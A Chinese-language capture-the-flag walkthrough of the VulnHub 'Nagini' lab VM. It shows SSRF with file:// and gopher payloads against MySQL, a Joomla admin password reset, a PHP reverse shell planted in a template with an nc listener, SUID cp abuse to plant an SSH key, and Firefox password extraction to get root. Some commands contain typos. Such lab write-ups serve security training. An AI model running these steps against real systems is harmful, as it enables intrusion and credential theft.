Nagini靶场实战详解
靶机下载链接:https://download.vulnhub.com/harrypotter/Nagini.ova
目标:取得root权限+3Flag
0x01 网络配置
这里简单介绍下我的网络配置,我这里用的是Vmware kali 和 virtual box 的靶机。
vmware kali 配置了两块网卡 :
靶机网络配置:
0x02 信息搜集
首先使用下面这条命令来发现靶机的ip地址:
arp-scan -l -I eth1
到这里我们知道了靶机的ip:192.168.27.6 顺便讲一下kali的ip:192.168.27.2
接下来我们开始使用nmap来扫描靶机开放的端口和服务。
nmap -p- -sV -sC 192.168.27.6
通过上图发现,靶机开放了22端口的ssh服务和80http服务,那么接下来我通过浏览器直接去访问80端口的http服务。
访问80端口的http服务后,我发现web服务页面只有一张图片,没有其他有用的信息,所以我开始使用dirsearch进行一个目录的扫描。
dirsearch下载链接:https://github.com/maurosoria/dirsearch
seclists字典项目下载链接:https://github.com/danielmiessler/SecLists
dirsearch -u http://192.168.27.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -f -e txt,php,html
然后我在扫描结果中知道了该服务器使用了joomla这个CMS,然后我看到了一个note.txt的文件,访问后发现了靶机作者给出的如下提示:
上面的英文大概的意思就是说所有的开发者都必须使用HTTP3来访问quic.nagini.hogwarts这个域名,所以我们需要先在 /etc/hosts文件里将ip:192.168.27.6 与这个域名绑定,然后我查阅资料后发现现有的浏览器都不支持http3,只有google的测试版浏览器quiche支持使用http3进行访问,所以我下载了这个浏览器,以下是这个浏览器的下载过程:
sudo apt intsall cargo
sudo apt install cmake
cargo build --examples
sudo apt purge rustc
curl --proto '=https' --tlsv1.2 -sSf https:// sh.rustup.rs | sh
1 #执行上面这条命令过程中 需要进行一个选择,输入1即可
source $HOME/ .cargo/env
cargo build --examples
cargo test #如果测试一切正常就可以开始使用这个浏览器了
-------------------------------------------------------------------------------------------------------------------
cd /quiche/target/debug/examples #进入客户端所在目录
./http3-client https://quic.nagini.hogwarts #使用该客户端访问
0x03 SSRF漏洞
通过如上图所示的回显页面,我们又发现了作者给到的提示,意思是说这个网站上存在internalResourceFeTcher.php文件和configuration.php.bak这个文件,然后我尝试使用firefox访问internalResourceFeTcher.php这个文件,发现可以正常访问如下图所示:
如上图所示,我们可以看到,这里写着欢迎来到内网资源请求页面,所以我尝试用file协议来读取/etc/passwd文件的内容
file:///etc/passwd
然后我发现真的可以访问内网资源,所以我感觉这里可能会存在SSRF漏洞,因为我知道当前这台服务器它自己的80端口开放了web服务,所以我又尝试让服务器去请求本地80端口的web服务,
http://127.0.0.1:80
结果发现和我正常去访问80端口的web服务的页面是一致的,所以我确信这里存在SSRF漏洞。
然后我又使用gopher协议访问了服务器的22端口,发现页面回显了服务器的ssh服务的版本信息,这说明该服务器是支持gopher协议的。
gopher://127.0.0.1:22
然后我想起来还没有访问configuration.php.bak,但是我发现我不知道这个文件的路径,所以我csdn搜了一波。
我发现这个文件是在joomla这个目录下的,然后访问这个文件后得到了这个文件的源码。
通过阅读这个joomla的配置文件的备份,我获得了以下可能对我们渗透有用的信息:
public $sitename = 'Joomla CMS'; #网站名字是joomla CMS
public $dbtype = 'mysqli'; #数据库类型是mysql
public $host = 'localhost'; #数据库位于本机上
public $db = 'joomla'; #数据库名字是joomla
public $user = 'goblin'; #用户名goblin
public $password = ''; #密码为空
public $secret = 'ILhwP6HTYKcN7qMh'; #一个密钥
通过我获取到的信息我知道了服务器上开放了一个mysql数据库并且我知道数据库名,用户名,并且用户密码为空,所以接下来我的攻击思路也就十分明确了,就是使用gopher协议查询数据库中的joomla管理员的账号和密码,从而登录后台以便进行下一步的操作。这里需要用到一个工具,这个工具用于生成将帮助我生成 Gopher 有效负载(payload),从而利用 SSRF漏洞对数据库执行命令。
git clone https://github.com/tarunkant/Gopherus.git
由于这个工具的使用比较简单我这里就不再过多赘述,下面直接展示这个工具的使用过程。
然后把生成的payload放入到页面中执行即可(如果执行一次没结果,可以多执行几次),通过页面的回显即可获得查询结果。
通过上图的回显,我发现了 joomla_users这个表,接着查询这个表中的数据。
然后根据页面回显,发现了管理员的账号和密码,但是密码是加密过后的。
由于这个密码是加密的,而我现在可以对数据库进行增删改查,并且我也知道管理员的用户名,我直接打算直接修改管理员的密码。因为mysql数据库支持以md5的形式存放密码所以我先用以下命令生成123456对应的MD5值。
echo -n "123456" | md5sum #生成123456对应的md5值
使用以下命令生成更新管理员密码的payload,然后复制payload到页面执行即可将管理员的密码改为123456。
0x04 Joomla漏洞
到这里我已经获取到了管理员的账号:site_admin 密码:123456,结合之前目录扫描发现的后台登录页,我成功的进入了后台。
http://192.168.27.6/joomla/administrator/index.php
接着我在kali上监听了4444端口。
nc -lnvp 4444
然后我把模板beez3中的index.php的文件修改成了kali自带的反弹shell的php代码(记得修改ip和端口),然后保存。
kali自带反弹shell的php文件位置:
/usr/share/webshells/php/php-reverse-shell.php
http://192.168.27.6/joomla/templates/beez3/index.php
访问修改的文件,执行反弹shell的代码,然后如下图所示,可以看到kali已经接收到了反弹回来的shell。
0x05 SSH公钥登录
/bin/bash -i #为了方便操作,升级一下shell
如上图所示,我在用户snape目录下发现了隐藏文件creds.txt,查看文件的内容后发现一串base64加密的值,解码后是Love@lilly 我猜测这个应该是snape用户的密码,因为这个文件的名字就是凭证,凭据的缩写。所以接下来我尝试使用ssh登录snape用户。
ssh snape@19.168.27.6
如上图所示,通过在snape用户目录下获取到的密码,成功通过获取到了snape用户的shell,实现了从www-data到本地普通用户的权限提升。
我在/var/www/html目录下发现了靶机的第一个flag。
然后我在hermoine用户的bin目录下发现了一个具有suid权限的可执行程序
执行后发现这个程序执行的是cp命令,所以我想要在无密码的情况下登录hermoine用户,就可以通过在kali上生成ssh秘钥对,然后将公钥传到靶机上,最后通过这个以hermoine身份执行且具有suid权限的cp命令,将公钥复制到hermoine用户的ssh目录下即可实现无密码登录。
ssh-keygen #在kali上生成ssh密钥对
cd .ssh #进入ssh目录下
scp id_rsa.pub snape@192.168.27.6:~/ #将生成的公钥通过snape用户拷贝snape用户的主目录下
mv id_rsa.pub authorized_keys #讲公钥改名
chmod 640 authorized_keys #给公钥赋权
cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #通过su_cp程序将公钥拷贝到hermoine的ssh目录下
接下来我就在kali上通过ssh服务无密码登录hermoine这个用户,如下图所示:
然后就可以成功读取到这台靶机的第二个flag。
0x05 浏览器密码还原
我在hermoine用户的目录下发现了一个隐藏的文件.mozilla,用过firefox浏览器的用户肯定都比较熟悉,火狐浏览器的英文名字就是Mozilla Firefox。
接下来我将使用一个浏览器密码读取工具,看能否通过这个浏览器上保存的用户信息获取到一些有用的信息。我这里用到的工具是Firefox Decrypt它是一种从 Mozilla (Fire/Water)fox™、Thunderbird®、SeaMonkey® 及其衍生产品的配置文件中提取密码的工具。
scp -rp hermoinea10.0.2.43:/home/hermoine/.mozilla /tmp/ #将mozilla这个浏览器整个拷贝到kali的tmp目录下
https://github.com/unode/firefox_decrypt #该工具的下载链接
通过下面这张图我们可以看到通过这个工具成功读取并还原了存储在firefox这个浏览器中的用户名和密码。
python firefox_decrypt.py /tmp/.mozilla/firefox/
既然我们已经获取到了root用户的密码,所以我们可以通过ssh登录到root用户从而来实现提权。
ssh root@192.168.27.6
通过上图我们可以看到,已经通过ssh登录到了root用户上,并且我们获取到了第三个flag,这个靶机的渗透过程到这里就结束了。
0x07 靶机渗透总结:
在这个靶机渗透的过程中,先是遇到了不熟悉的HTTP3协议,然后学习了一下HTTP3相关的知识,接着通过下载了支持http3协议的quiche ,获取到了靶机作者的提示,找到了一个请求内网资源的页面以及一个joomlaCMS的一个配置文件经过测试发现存在SSRF漏洞于是我通过gopher协议配合SSRF漏洞,对服务器上本地运行的mysql数据库进行了一些查询,并修改了管理员的密码,成功登录到了joomla CMS的后台,接着利用该CMS后台的可以修改模板中文件内容的漏洞,上传了我们反弹shell的脚本,成功getshell。
之后又利用用户目录下记录的密码,实现了从www-data到普通用户权限的提升,获取到普通用户权限后,利用了具有suid权限的cp命令,实现了无密码的用户登录,最后利用工具从Mozilla中提取并还原得到了root用户的密码,利用ssh服务登录了root用户,从而是实现了从本地普通用户到root用户的权限提升。总体来说这个靶机打点难度比较大,提权手法使用了非常规的手段,通过这次打靶收获颇丰,加深了对SSRF漏洞的理解。